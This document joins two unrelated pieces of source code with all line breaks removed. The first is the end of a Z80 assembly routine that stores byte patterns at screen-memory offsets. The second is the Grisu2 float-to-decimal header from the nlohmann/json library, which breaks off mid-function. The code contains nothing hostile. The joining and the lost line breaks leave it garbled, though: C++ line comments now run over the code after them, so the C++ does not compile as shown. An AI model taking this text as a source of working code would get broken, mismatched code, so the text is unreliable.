#05f3), a ld (basescradr + #0913), a ld (basescradr + #0933), a ld (basescradr + #0953), a ld (basescradr + #0955), a ld (basescradr + #0975), a ld (basescradr + #09d5), a ld (basescradr + #09f5), a ld (basescradr + #0d13), a ld (basescradr + #0d33), a ld (basescradr + #0d53), a ld (basescradr + #0d55), a ld (basescradr + #0d75), a ld (basescradr + #0dd5), a ld a, 3 ld hl, basescradr + #0849 ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #0869 ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld (basescradr + #02ef), a ld (basescradr + #04ee), a ld (basescradr + #06ed), a ld (basescradr + #08ea), a ld (basescradr + #09ea), a ld (basescradr + #0a0b), a ld (basescradr + #0c0a), a ld (basescradr + #0e29), a ld (basescradr + #0f29), a ld (basescradr + #160b), a xor a ld hl, basescradr + #02f3 ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #080a ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #0a13 ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #0a33 ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #0a53 ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #0a94 ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #0ab4 ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #0e13 ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld d,a ld e,a ld (basescradr + #07eb), de ld (basescradr + #0ff4), de ld (basescradr + #06f3), a ld (basescradr + #07f3), a ld (basescradr + #080b), a ld (basescradr + #0813), a ld (basescradr + #0833), a ld (basescradr + #0853), a ld (basescradr + #0894), a ld (basescradr + #08b4), a ld (basescradr + #090b), a ld (basescradr + #0df5), a ld (basescradr + #0e33), a ld (basescradr + #0e53), a ld (basescradr + #0e94), a ld (basescradr + #0ef4), a ld (basescradr + #0f33), a ld (basescradr + #0f53), a ld (basescradr + #0f74), a ld (basescradr + #0f94), a ld (basescradr + #1014), a ld (basescradr + #1212), a ld a, 252 ld hl, basescradr + #04f2 ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #0812 ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #0832 ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld (basescradr + #09b3), a ld (basescradr + #0ab3), a ld (basescradr + #0ed4), a ld (basescradr + #1211), a ld (basescradr + #1410), a ld a, 7 ld (basescradr + #080c), a ld (basescradr + #0eca), a ld (basescradr + #0fca), a ld (basescradr + #140b), a ld (basescradr + #150b), a ld a, 127 ld hl, basescradr + #08aa ld (hl), a inc h ld (hl), a inc h ld (hl), a ld (basescradr + #082a), a ld (basescradr + #0f0a), a ld (basescradr + #0f8a), a ld (basescradr + #0feb), a ld (basescradr + #112c), a inc a ld hl, basescradr + #0a73 ld (hl), a inc h ld (hl), a inc h ld (hl), a ld (basescradr + #0873), a ld (basescradr + #0af5), a ld (basescradr + #0eb4), a ld (basescradr + #0fb4), a ld (basescradr + #112e), a ld (basescradr + #170f), a ld a, 196 ld (basescradr + #0973), a ld (basescradr + #0d73), a ld a, 192 ld (basescradr + #08d4), a ld (basescradr + #0bf5), a ld (basescradr + #0e73), a ld (basescradr + #0f73), a ld (basescradr + #1112), a ld (basescradr + #1311), a ld (basescradr + #1510), a ld a, 224 ld (basescradr + #0893), a ld (basescradr + #0a93), a ld (basescradr + #0ad4), a ld (basescradr + #0b93), a ld (basescradr + #0df4), a ld (basescradr + #0ff3), a ld a, 228 ld (basescradr + #0993), a ld a, 240 ld (basescradr + #0c93), a ld a, 244 ld (basescradr + #0d93), a ld a, 248 ld (basescradr + #08b3), a ld (basescradr + #0cd4), a ld (basescradr + #0e93), a ld (basescradr + #0f93), a ld (basescradr + #102e), a ld (basescradr + #122d), a ld (basescradr + #160f), a ld a, 15 ld hl, basescradr + #0aca ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld (basescradr + #130b), a ret
#pragma once #include <array> // array #include <cmath> // signbit, isfinite #include <cstdint> // intN_t, uintN_t #include <cstring> // memcpy, memmove #include <limits> // numeric_limits #include <type_traits> // conditional #include <nlohmann/detail/macro_scope.hpp> namespace nlohmann { inline namespace vt { namespace detail { /*! @brief implements the Grisu2 algorithm for binary to decimal floating-point conversion. This implementation is a slightly modified version of the reference implementation which may be obtained from http://florian.loitsch.com/publications (bench.tar.gz). The code is distributed under the MIT license, Copyright (c) 2009 Florian Loitsch. For a detailed description of the algorithm see: [1] Loitsch, "Printing Floating-Point Numbers Quickly and Accurately with Integers", Proceedings of the ACM SIGPLAN 2010 Conference on Programming Language Design and Implementation, PLDI 2010 [2] Burger, Dybvig, "Printing Floating-Point Numbers Quickly and Accurately", Proceedings of the ACM SIGPLAN 1996 Conference on Programming Language Design and Implementation, PLDI 1996 */ namespace dtoa_impl { template<typename Target, typename Source> Target reinterpret_bits(const Source source) { static_assert(sizeof(Target) == sizeof(Source), "size mismatch"); Target target; std::memcpy(&target, &source, sizeof(Source)); return target; } struct diyfp // f * 2^e { static constexpr int kPrecision = 64; // = q std::uint64_t f = 0; int e = 0; constexpr diyfp(std::uint64_t f_, int e_) noexcept : f(f_), e(e_) {} /*! @brief returns x - y @pre x.e == y.e and x.f >= y.f */ static diyfp sub(const diyfp& x, const diyfp& y) noexcept { JSON_ASSERT(x.e == y.e); JSON_ASSERT(x.f >= y.f); return {x.f - y.f, x.e}; } /*! @brief returns x * y @note The result is rounded. (Only the upper q bits are returned.) */ static diyfp mul(const diyfp& x, const diyfp& y) noexcept { static_assert(kPrecision == 64, "internal error"); // Computes: // f = round((x.f * y.f) / 2^q) // e = x.e + y.e + q // Emulate the 64-bit * 64-bit multiplication: // // p = u * v // = (u_lo + 2^32 u_hi) (v_lo + 2^32 v_hi) // = (u_lo v_lo ) + 2^32 ((u_lo v_hi ) + (u_hi v_lo )) + 2^64 (u_hi v_hi ) // = (p0 ) + 2^32 ((p1 ) + (p2 )) + 2^64 (p3 ) // = (p0_lo + 2^32 p0_hi) + 2^32 ((p1_lo + 2^32 p1_hi) + (p2_lo + 2^32 p2_hi)) + 2^64 (p3 ) // = (p0_lo ) + 2^32 (p0_hi + p1_lo + p2_lo ) + 2^64 (p1_hi + p2_hi + p3) // = (p0_lo ) + 2^32 (Q ) + 2^64 (H ) // = (p0_lo ) + 2^32 (Q_lo + 2^32 Q_hi ) + 2^64 (H ) // // (Since Q might be larger than 2^32 - 1) // // = (p0_lo + 2^32 Q_lo) + 2^64 (Q_hi + H) // // (Q_hi + H does not overflow a 64-bit int) // // = p_lo + 2^64 p_hi const std::uint64_t u_lo = x.f & 0xFFFFFFFFu; const std::uint64_t u_hi = x.f >> 32u; const std::uint64_t v_lo = y.f & 0xFFFFFFFFu; const std::uint64_t v_hi = y.f >> 32u; const std::uint64_t p0 = u_lo * v_lo; const std::uint64_t p1 = u_lo * v_hi; const std::uint64_t p2 = u_hi * v_lo; const std::uint64_t p3 = u_hi * v_hi; const std::uint64_t p0_hi = p0 >> 32u; const std::uint64_t p1_lo = p1 & 0xFFFFFFFFu; const std::uint64_t p1_hi = p1 >> 32u; const std::uint64_t p2_lo = p2 & 0xFFFFFFFFu; const std::uint64_t p2_hi = p2 >> 32u; std::uint64_t Q = p0_hi + p1_lo + p2_lo; // The full product might now be computed as // // p_hi = p3 + p2_hi + p1_hi + (Q >> 32) // p_lo = p0_lo + (Q << 32) // // But in this particular case here, the full p_lo is not required. // Effectively we only need to add the highest bit in p_lo to p_hi (and // Q_hi + 1 does not overflow). Q += std::uint64_t{1} << (64u - 32u - 1u); // round, ties up const std::uint64_t h = p3 + p2_hi + p1_hi + (Q >> 32u); return {h, x.e + y.e + 64}; } /*! @brief normalize x such that the significand is >= 2^(q-1) @pre x.f != 0 */ static diyfp normalize(diyfp x) noexcept { JSON_ASSERT(x.f != 0); while ((x.f >> 63u) == 0) { x.f <<= 1u; x.e--; } return x; } /*! @brief normalize x such that the result has the exponent E @pre e >= x.e and the upper e - x.e bits of x.f must be zero. */ static diyfp normalize_to(const diyfp& x, const int target_exponent) noexcept { const int delta = x.e - target_exponent; JSON_ASSERT(delta >= 0); JSON_ASSERT(((x.f << delta) >> delta) == x.f); return {x.f << delta, target_exponent}; } }; struct boundaries { diyfp w; diyfp minus; diyfp plus; }; /*! Compute the (normalized) diyfp representing the input number 'value' and its boundaries. @pre value must be finite and positive */ template<typename FloatType> boundaries compute_boundaries(FloatType value) { JSON_ASSERT(std::isfinite(value)); JSON_ASSERT(value > 0); // Convert the IEEE representation into a diyfp. // // If v is denormal: // value = 0.F * 2^(1 - bias) = ( F) * 2^(1 - bias - (p-1)) // If v is normalized: // value = 1.F * 2^(E - bias) = (2^(p-1) + F) * 2^(E - bias - (p-1)) static_assert(std::numeric_limits<FloatType>::is_iec559, "internal error: dtoa_short requires an IEEE-754 floating-point implementation"); constexpr int kPrecision = std::numeric_limits<FloatType>::digits; // = p (includes the hidden bit) constexpr int kBias = std::numeric_limits<FloatType>::max_exponent - 1 + (kPrecision - 1); constexpr int kMinExp = 1 - kBias; constexpr std::uint64_t kHiddenBit = std::uint64_t{1} << (kPrecision - 1); // = 2^(p-1) using bits_type = typename std::conditional<kPrecision == 24, std::uint32_t, std::uint64_t >::type; const std::uint64_t bits = reinterpret_bits<bits_type>(value); const std::uint64_t E = bits >> (kPrecision - 1); const std::uint64_t F = bits & (kHiddenBit - 1); const bool is_denormal = E == 0; const diyfp v = is_denormal ? diyfp(F, kMinExp) : diyfp(F + kHiddenBit, static_cast<int>(E) - kBias); // Compute the boundaries m- and m+ of the floating-point value // v = f * 2^e. // // Determine v- and v+, the floating-point predecessor and successor if v, // respectively. // // v- = v - 2^e if f != 2^(p-1) or e == e_min (A) // = v - 2^(e-1) if f == 2^(p-1) and e > e_min (B) // // v+ = v + 2^e // // Let m- = (v- + v) / 2 and m+ = (v + v+) / 2. All real numbers _strictly_ // between m- and m+ round to v, regardless of how the input rounding // algorithm breaks ties. // // ---+-------------+-------------+-------------+-------------+--- (A) // v- m- v m+ v+ // // -----------------+------+------+-------------+-------------+--- (B) // v- m- v m+ v+ const bool lower_boundary_is_closer = F == 0 && E > 1; const diyfp m_plus = diyfp(2 * v.f + 1, v.e - 1); const diyfp m_minus = lower_boundary_is_closer ? diyfp(4 * v.f - 1, v.e - 2) // (B) : diyfp(2 * v.f - 1, v.e - 1); // (A) // Determine the normalized w+ = m+. const diyfp w_plus = diyfp::normalize(m_plus); // Determine w- = m- such that e_(w-) = e_(w+). const diyfp w_minus = diyfp::normalize_to(m_minus, w_plus.e); return {diyfp::normalize(v), w_minus, w_plus}; } // Given normalized diyfp w, Grisu needs to find a (normalized) cached // power-of-ten c, such that the exponent of the product c * w = f * 2^e lies // within a certain range [alpha, gamma] (Definition 3.2 from [1]) // // alpha <= e = e_c + e_w + q <= gamma // // or // // f_c * f_w * 2^alpha <= f_c 2^(e_c) * f_w 2^(e_w) * 2^q // <= f_c * f_w * 2^gamma // // Since c and w are normalized, i.e. 2^(q-1) <= f < 2^q, this implies // // 2^(q-1) * 2^(q-1) * 2^alpha <= c * w * 2^q < 2^q * 2^q * 2^gamma // // or // // 2^(q - 2 + alpha) <= c * w < 2^(q + gamma) // // The choice of (alpha,gamma) determines the size of the table and the form of // the digit generation procedure. Using (alpha,gamma)=(-60,-32) works out well // in practice: // // The idea is to cut the number c * w = f * 2^e into two parts, which can be // processed independently: An integral part p1, and a fractional part p2: // // f * 2^e = ( (f div 2^-e) * 2^-e + (f mod 2^-e) ) * 2^e // = (f div 2^-e) + (f mod 2^-e) * 2^e // = p1 + p2 * 2^e // // The conversion of p1 into decimal form requires a series of divisions and // modulos by (a power of) 10. These operations are faster for 32-bit than for // 64-bit integers, so p1 should ideally fit into a 32-bit integer. This can be // achieved by choosing // // -e >= 32 or e <= -32 := gamma // // In order to convert the fractional part // // p2 * 2^e = p2 / 2^-e = d[-1] / 10^1 + d[-2] / 10^2 + ... // // into decimal form, the fraction is repeatedly multiplied by 10 and the digits // d[-i] are extracted in order: // // (10 * p2) div 2^-e = d[-1] // (10 * p2) mod 2^-e = d[-2] / 10^1 + ... // // The multiplication by 10 must not overflow. It is sufficient to choose // // 10 * p2 < 16 * p2 = 2^4 * p2 <= 2^64. // // Since p2 = f mod 2^-e < 2^-e, // // -e <= 60 or e >= -60 := alpha constexpr int kAlpha = -60; constexpr int kGamma = -32; struct cached_power // c = f * 2^e ~= 10^k { std::uint64_t f; int e; int k; }; /*! For a normalized diyfp w = f * 2^e, this function returns a (normalized) cached power-of-ten c = f_c * 2^e_c, such that the exponent of the product w * c satisfies (Definition 3.2 from [1]) alpha <= e_c + e + q <= gamma. */ inline cached_power get_cached_power_for_binary_exponent(int e) { // Now // // alpha <= e_c + e + q <= gamma (1) // ==> f_c * 2^alpha <= c * 2^e * 2^q // // and since the c's are normalized, 2^(q-1) <= f_c, // // ==> 2^(q - 1 + alpha) <= c * 2^(e + q) // ==> 2^(alpha - e - 1) <= c // // If c were an exact power of ten, i.e. c = 10^k, one may determine k as // // k = ceil( log_10( 2^(alpha - e - 1) ) ) // = ceil( (alpha - e - 1) * log_10(2) ) // // From the paper: // "In theory the result of the procedure could be wrong since c is rounded, // and the computation itself is approximated [...]. In practice, however, // this simple function is sufficient." // // For IEEE double precision floating-point numbers converted into // normalized diyfp's w = f * 2^e, with q = 64, // // e >= -1022 (min IEEE exponent) // -52 (p - 1) // -52 (p - 1, possibly normalize denormal IEEE numbers) // -11 (normalize the diyfp) // = -1137 // // and // // e <= +1023 (max IEEE exponent) // -52 (p - 1) // -11 (normalize the diyfp) // = 960 // // This binary exponent range [-1137,960] results in a decimal exponent // range [-307,324]. One does not need to store a cached power for each // k in this range. For each such k it suffices to find a cached power // such that the exponent of the product lies in [alpha,gamma]. // This implies that the difference of the decimal exponents of adjacent // table entries must be less than or equal to // // floor( (gamma - alpha) * log_10(2) ) = 8. // // (A smaller distance gamma-alpha would require a larger table.) // NB: // Actually this function returns c, such that -60 <= e_c + e + 64 <= -34. constexpr int kCachedPowersMinDecExp = -300; constexpr int kCachedPowersDecStep = 8; static constexpr std::array<cached_power, 79> kCachedPowers = { { { 0xAB70FE17C79AC6CA, -1060, -300 }, { 0xFF77B1FCBEBCDC4F, -1034, -292 }, { 0xBE5691EF416BD60C, -1007, -284 }, { 0x8DD01FAD907FFC3C, -980, -276 }, { 0xD3515C2831559A83, -954, -268 }, { 0x9D71AC8FADA6C9B5, -927, -260 }, { 0xEA9C227723EE8BCB, -901, -252 }, { 0xAECC49914078536D, -874, -244 }, { 0x823C12795DB6CE57, -847, -236 }, { 0xC21094364DFB5637, -821, -228 }, { 0x9096EA6F3848984F, -794, -220 }, { 0xD77485CB25823AC7, -768, -212 }, { 0xA086CFCD97BF97F4, -741, -204 }, { 0xEF340A98172AACE5, -715, -196 }, { 0xB23867FB2A35B28E, -688, -188 }, { 0x84C8D4DFD2C63F3B, -661, -180 }, { 0xC5DD44271AD3CDBA, -635, -172 }, { 0x936B9FCEBB25C996, -608, -164 }, { 0xDBAC6C247D62A584, -582, -156 }, { 0xA3AB66580D5FDAF6, -555, -148 }, { 0xF3E2F893DEC3F126, -529, -140 }, { 0xB5B5ADA8AAFF80B8, -502, -132 }, { 0x87625F056C7C4A8B, -475, -124 }, { 0xC9BCFF6034C13053, -449, -116 }, { 0x964E858C91BA2655, -422, -108 }, { 0xDFF9772470297EBD, -396, -100 }, { 0xA6DFBD9FB8E5B88F, -369, -92 }, { 0xF8A95FCF88747D94, -343, -84 }, { 0xB94470938FA89BCF, -316, -76 }, { 0x8A08F0F8BF0F156B, -289, -68 }, { 0xCDB02555653131B6, -263, -60 }, { 0x993FE2C6D07B7FAC, -236, -52 }, { 0xE45C10C42A2B3B06, -210, -44 }, { 0xAA242499697392D3, -183, -36 }, { 0xFD87B5F28300CA0E, -157, -28 }, { 0xBCE5086492111AEB, -130, -20 }, { 0x8CBCCC096F5088CC, -103, -12 }, { 0xD1B71758E219652C, -77, -4 }, { 0x9C40000000000000, -50, 4 }, { 0xE8D4A51000000000, -24, 12 }, { 0xAD78EBC5AC620000, 3, 20 }, { 0x813F3978F8940984, 30, 28 }, { 0xC097CE7BC90715B3, 56, 36 }, { 0x8F7E32CE7BEA5C70, 83, 44 }, { 0xD5D238A4ABE98068, 109, 52 }, { 0x9F4F2726179A2245, 136, 60 }, { 0xED63A231D4C4FB27, 162, 68 }, { 0xB0DE65388CC8ADA8, 189, 76 }, { 0x83C7088E1AAB65DB, 216, 84 }, { 0xC45D1DF942711D9A, 242, 92 }, { 0x924D692CA61BE758, 269, 100 }, { 0xDA01EE641A708DEA, 295, 108 }, { 0xA26DA3999AEF774A, 322, 116 }, { 0xF209787BB47D6B85, 348, 124 }, { 0xB454E4A179DD1877, 375, 132 }, { 0x865B86925B9BC5C2, 402, 140 }, { 0xC83553C5C8965D3D, 428, 148 }, { 0x952AB45CFA97A0B3, 455, 156 }, { 0xDE469FBD99A05FE3, 481, 164 }, { 0xA59BC234DB398C25, 508, 172 }, { 0xF6C69A72A3989F5C, 534, 180 }, { 0xB7DCBF5354E9BECE, 561, 188 }, { 0x88FCF317F22241E2, 588, 196 }, { 0xCC20CE9BD35C78A5, 614, 204 }, { 0x98165AF37B2153DF, 641, 212 }, { 0xE2A0B5DC971F303A, 667, 220 }, { 0xA8D9D1535CE3B396, 694, 228 }, { 0xFB9B7CD9A4A7443C, 720, 236 }, { 0xBB764C4CA7A44410, 747, 244 }, { 0x8BAB8EEFB6409C1A, 774, 252 }, { 0xD01FEF10A657842C, 800, 260 }, { 0x9B10A4E5E9913129, 827, 268 }, { 0xE7109BFBA19C0C9D, 853, 276 }, { 0xAC2820D9623BF429, 880, 284 }, { 0x80444B5E7AA7CF85, 907, 292 }, { 0xBF21E44003ACDD2D, 933, 300 }, { 0x8E679C2F5E44FF8F, 960, 308 }, { 0xD433179D9C8CB841, 986, 316 }, { 0x9E19DB92B4E31BA9, 1013, 324 }, } }; // This computation gives exactly the same results for k as // k = ceil((kAlpha - e - 1) * 0.30102999566398114) // for |e| <= 1500, but doesn't require floating-point operations. // NB: log_10(2) ~= 78913 / 2^18 JSON_ASSERT(e >= -1500); JSON_ASSERT(e <= 1500); const int f = kAlpha - e - 1; const int k = (f * 78913) / (1 << 18) + static_cast<int>(f > 0); const int index = (-kCachedPowersMinDecExp + k + (kCachedPowersDecStep - 1)) / kCachedPowersDecStep; JSON_ASSERT(index >= 0); JSON_ASSERT(static_cast<std::size_t>(index) < kCachedPowers.size()); const cached_power cached = kCachedPowers[static_cast<std::size_t>(index)]; JSON_ASSERT(kAlpha <= cached.e + e + 64); JSON_ASSERT(kGamma >= cached.e + e + 64); return cached; } /*! For n != 0, returns k, such that pow10 := 10^(k-1) <= n < 10^k. For n == 0, returns 1 and sets pow10 := 1. */ inline int find_largest_pow10(const std::uint32_t n, std::uint32_t& pow10) { // LCOV_EXCL_START if (n >= 1000000000) { pow10 = 1000000000; return 10; } // LCOV_EXCL_STOP else if (n >= 100000000) { pow10 = 100000000; return 9; } else if (n >= 10000000) { pow10 = 10000000; return 8; } else if (n >= 1000000) { pow10 = 1000000; return 7; } else if (n >= 100000) { pow10 = 100000; return 6; } else if (n >= 10000) { pow10 = 10000; return 5; } else if (n >= 1000) { pow10 = 1000; return 4; } else if (n >= 100) { pow10 = 100; return 3; } else if (n >= 10) { pow10 = 10; return 2; } else { pow10 = 1; return 1; } } inline void grisu2_round(char* buf, int len, std::uint64_t dist, std::uint64_t delta, std::uint64_t rest, std::uint64_t ten_k) { JSON_ASSERT(len >= 1); JSON_ASSERT(dist <= delta); JSON_ASSERT(rest <= delta); JSON_ASSERT(ten_k > 0); // <--------------------------- delta ----> // <---- dist ---------> // --------------[------------------+-------------------]-------------- // M- w M+ // // ten_k // <------> // <---- rest ----> // --------------[------------------+----+--------------]-------------- // w V // = buf * 10^k // // ten_k represents a unit-in-the-last-place in the decimal representation // stored in buf. // Decrement buf by ten_k while this takes buf closer to w. // The tests are written in this order to avoid overflow in unsigned // integer arithmetic. while (rest < dist && delta - rest >= ten_k && (rest + ten_k < dist || dist - rest > rest + ten_k - dist)) { JSON_ASSERT(buf[len - 1] != '0'); buf[len - 1]--; rest += ten_k; } } /*! Generates V = buffer * 10^decimal_exponent, such that M- <= V <= M+. M- and M+ must be normalized and share the same exponent -60 <= e <= -32. */ inline void grisu2_digit_gen(char* buffer, int& length, int& decimal_exponent, diyfp M_minus, diyfp w, diyfp M_plus) { static_assert(kAlpha >= -60, "internal error"); static_assert(kGamma <= -32, "internal error"); // Generates the digits (and the exponent) of a decimal floating-point // number V = buffer * 10^decimal_exponent in the range [M-, M+]. The diyfp's // w, M- and M+ share the same exponent e, which satisfies alpha <= e <= gamma. // // <--------------------------- delta ----> // <---- dist ---------> // --------------[------------------+-------------------]-------------- // M- w M+ // // Grisu2 generates the digits of M+ from left to right and stops as soon as // V is in [M-,M+]. JSON_ASSERT(M_plus.e >= kAlpha); JSON_ASSERT(M_plus.e <= kGamma); std::uint64_t delta = diyfp::sub(M_plus, M_minus).f; // (significand of (M+ - M-), implicit exponent is e) std::uint64_t dist = diyfp::sub(M_plus, w ).f; // (significand of (M+ - w ), implicit exponent is e) // Split M+ = f * 2^e into two parts p1 and p2 (note: e < 0): // // M+ = f * 2^e // = ((f div 2^-e) * 2^-e + (f mod 2^-e)) * 2^e // = ((p1 ) * 2^-e + (p2 )) * 2^e // = p1 + p2 * 2^e const diyfp one(std::uint64_t{1} << -M_plus.e, M_plus.e); auto p1 = static_cast<std::uint32_t>(M_plus.f >> -one.e); // p1 = f div 2^-e (Since -e >= 32, p1 fits into a 32-bit int.) std::uint64_t p2 = M_plus.f & (one.f - 1); // p2 = f mod 2^-e // 1) // // Generate the digits of the integral part p1 = d[n-1]...d[1]d[0] JSON_ASSERT(p1 > 0); std::uint32_t pow10; const int k = find_largest_pow10(p1, pow10); // 10^(k-1) <= p1 < 10^k, pow10 = 10^(k-1) // // p1 = (p1 div 10^(k-1)) * 10^(k-1) + (p1 mod 10^(k-1)) // = (d[k-1] ) * 10^(k-1) + (p1 mod 10^(k-1)) // // M+ = p1 + p2 * 2^e // = d[k-1] * 10^(k-1) + (p1 mod 10^(k-1)) + p2 * 2^e // = d[k-1] * 10^(k-1) + ((p1 mod 10^(k-1)) * 2^-e + p2) * 2^e // = d[k-1] * 10^(k-1) + ( rest) * 2^e // // Now generate the digits d[n] of p1 from left to right (n = k-1,...,0) // // p1 = d[k-1]...d[n] * 10^n + d[n-1]...d[0] // // but stop as soon as // // rest * 2^e = (d[n-1]...d[0] * 2^-e + p2) * 2^e <= delta * 2^e int n = k; while (n > 0) { // Invariants: // M+ = buffer * 10^n + (p1 + p2 * 2^e) (buffer = 0 for n = k) // pow10 = 10^(n-1) <= p1 < 10^n // const std::uint32_t d = p1 / pow10; // d = p1 div 10^(n-1) const std::uint32_t r = p1 % pow10; // r = p1 mod 10^(n-1) // // M+ = buffer * 10^n + (d * 10^(n-1) + r) + p2 * 2^e // = (buffer * 10 + d) * 10^(n-1) + (r + p2 * 2^e) // JSON_ASSERT(d <= 9); buffer[length++] = static_cast<char>('0' + d); // buffer := buffer * 10 + d // // M+ = buffer * 10^(n-1) + (r + p2 * 2^e) // p1 = r; n--; // // M+ = buffer * 10^n + (p1 + p2 * 2^e) // pow10 = 10^n // // Now check if enough digits have been generated. // Compute // // p1 + p2 * 2^e = (p1 * 2^-e + p2) * 2^e = rest * 2^e // // Note: // Since rest and delta share the same exponent e, it suffices to // compare the significands. const std::uint64_t rest = (std::uint64_t{p1} << -one.e) + p2; if (rest <= delta) { // V = buffer * 10^n, with M- <= V <= M+. decimal_exponent += n; // We may now just stop. But instead look if the buffer could be // decremented to bring V closer to w. // // pow10 = 10^n is now 1 ulp in the decimal representation V. // The rounding procedure works with diyfp's with an implicit // exponent of e. // // 10^n = (10^n * 2^-e) * 2^e = ulp * 2^e // const std::uint64_t ten_n = std::uint64_t{pow10} << -one.e; grisu2_round(buffer, length, dist, delta, rest, ten_n); return; } pow10 /= 10; // // pow10 = 10^(n-1) <= p1 < 10^n // Invariants restored. } // 2) // // The digits of the integral part have been generated: // // M+ = d[k-1]...d[1]d[0] + p2 * 2^e // = buffer + p2 * 2^e // // Now generate the digits of the fractional part p2 * 2^e. // // Note: // No decimal point is generated: the exponent is adjusted instead. // // p2 actually represents the fraction // // p2 * 2^e // = p2 / 2^-e // = d[-1] / 10^1 + d[-2] / 10^2 + ... // // Now generate the digits d[-m] of p1 from left to right (m = 1,2,...) // // p2 * 2^e = d[-1]d[-2]...d[-m] * 10^-m // + 10^-m * (d[-m-1] / 10^1 + d[-m-2] / 10^2 + ...) // // using // // 10^m * p2 = ((10^m * p2) div 2^-e) * 2^-e + ((10^m * p2) mod 2^-e) // = ( d) * 2^-e + ( r) // // or // 10^m * p2 * 2^e = d + r * 2^e // // i.e. // // M+ = buffer + p2 * 2^e // = buffer + 10^-m * (d + r * 2^e) // = (buffer * 10^m + d) * 10^-m + 10^-m * r * 2^e // // and stop as soon as 10^-m * r * 2^e <= delta * 2^e JSON_ASSERT(p2 > delta); int m = 0; for (;;) { // Invariant: // M+ = buffer * 10^-m + 10^-m * (d[-m-1] / 10 + d[-m-2] / 10^2 + ...) * 2^e // = buffer * 10^-m + 10^-m * (p2 ) * 2^e // = buffer * 10^-m + 10^-m * (1/10 * (10 * p2) ) * 2^e // = buffer * 10^-m + 10^-m * (1/10 * ((10*p2 div 2^-e) * 2^-e + (10*p2 mod 2^-e)) * 2^e // JSON_ASSERT(p2 <= (std::numeric_limits<std::uint64_t>::max)() / 10); p2 *= 10; const std::uint64_t d = p2 >> -one.e; // d = (10 * p2) div 2^-e const std::uint64_t r = p2 & (one.f - 1); // r = (10 * p2) mod 2^-e // // M+ = buffer * 10^-m + 10^-m * (1/10 * (d * 2^-e + r) * 2^e // = buffer * 10^-m + 10^-m * (1/10 * (d + r * 2^e)) // = (buffer * 10 + d) * 10^(-m-1) + 10^(-m-1) * r * 2^e // JSON_ASSERT(d <= 9); buffer[length++] = static_cast<char>('0' + d); // buffer := buffer * 10 + d // // M+ = buffer * 10^(-m-1) + 10^(-m-1) * r * 2^e // p2 = r; m++; // // M+ = buffer * 10^-m + 10^-m * p2 * 2^e // Invariant restored. // Check if enough digits have been generated. // // 10^-m * p2 * 2^e <= delta * 2^e // p2 * 2^e <= 10^m * delta * 2^e // p2 <= 10^m * delta delta *= 10; dist *= 10; if (p2 <= delta) { break; } } // V = buffer * 10^-m, with M- <= V <= M+. decimal_exponent -= m; // 1 ulp in the decimal representation is now 10^-m. // Since delta and dist are now scaled by 10^m, we need to do the // same with ulp in order to keep the units in sync. // // 10^m * 10^-m = 1 = 2^-e * 2^e = ten_m * 2^e // const std::uint64_t ten_m = one.f; grisu2_round(buffer, length, dist, delta, p2, ten_m); // By construction this algorithm generates the shortest possible decimal // number (Loitsch, Theorem 6.2) which rounds back to w. // For an input number of precision p, at least // // N = 1 + ceil(p * log_10(2)) // // decimal digits are sufficient to identify all binary floating-point // numbers (Matula, "In-and-Out conversions"). // This implies that the algorithm does not produce more than N decimal // digits. // // N = 17 for p = 53 (IEEE double precision) // N = 9 for p = 24 (IEEE single precision) } /*! v = buf * 10^decimal_exponent len is the length of the buffer (number of decimal digits) The buffer must be large enough, i.e. >= max_digits10. */ JSON_HEDLEY_NON_NULL(1) inline void grisu2(char* buf, int& len, int& decimal_exponent, diyfp m_minus, diyfp v, diyfp m_plus) { JSON_ASSERT(m_plus.e == m_minus.e); JSON_ASSERT(m_plus.e == v.e); // --------(-----------------------+-----------------------)-------- (A) // m- v m+ // // --------------------(-----------+-----------------------)-------- (B) // m- v m+ // // First scale v (and m- and m+) such that the exponent is in the range // [alpha, gamma]. const cached_power cached = get_cached_power_for_binary_exponent(m_plus.e); const diyfp c_minus_k(cached.f, cached.e); // = c ~= 10^-k // The exponent of the products is = v.e + c_minus_k.e + q and is in the range [alpha,gamma] const diyfp w = diyfp::mul(v, c_minus_k); const diyfp w_minus = diyfp::mul(m_minus, c_minus_k); const diyfp w_plus = diyfp::mul(m_plus, c_minus_k); // ----(---+---)---------------(---+---)---------------(---+---)---- // w- w w+ // = c*m- = c*v = c*m+ // // diyfp::mul rounds its result and c_minus_k is approximated too. w, w- and // w+ are now off by a small amount. // In fact: // // w - v * 10^k < 1 ulp // // To account for this inaccuracy, add resp. subtract 1 ulp. // // --------+---[---------------(---+---)---------------]---+-------- // w- M- w M+ w+ // // Now any number in [M-, M+] (bounds included) will round to w when input, // regardless of how the input rounding algorithm breaks ties. // // And digit_gen generates the shortest possible such number in [M-, M+]. // Note that this does not mean that Grisu2 always generates the shortest // possible number in the interval (m-, m+). const diyfp M_minus(w_minus.f + 1, w_minus.e); const diyfp M_plus (w_plus.f - 1, w_plus.e ); decimal_exponent = -cached.k; // = -(-k) = k grisu2_digit_gen(buf, len, decimal_exponent, M_minus, w, M_plus); } /*! v = buf * 10^decimal_exponent len is the length of the buffer (number of decimal digits) The buffer must be large enough, i.e. >= max_digits10. */ template<typename FloatType> JSON_HEDLEY_NON_NULL(1) void grisu2(char* buf, int& len, int& decimal_exponent, FloatType value) { static_assert(diyfp::kPrecision >= std::numeric_limits<FloatType>::digits + 3, "internal error: not enough precision"); 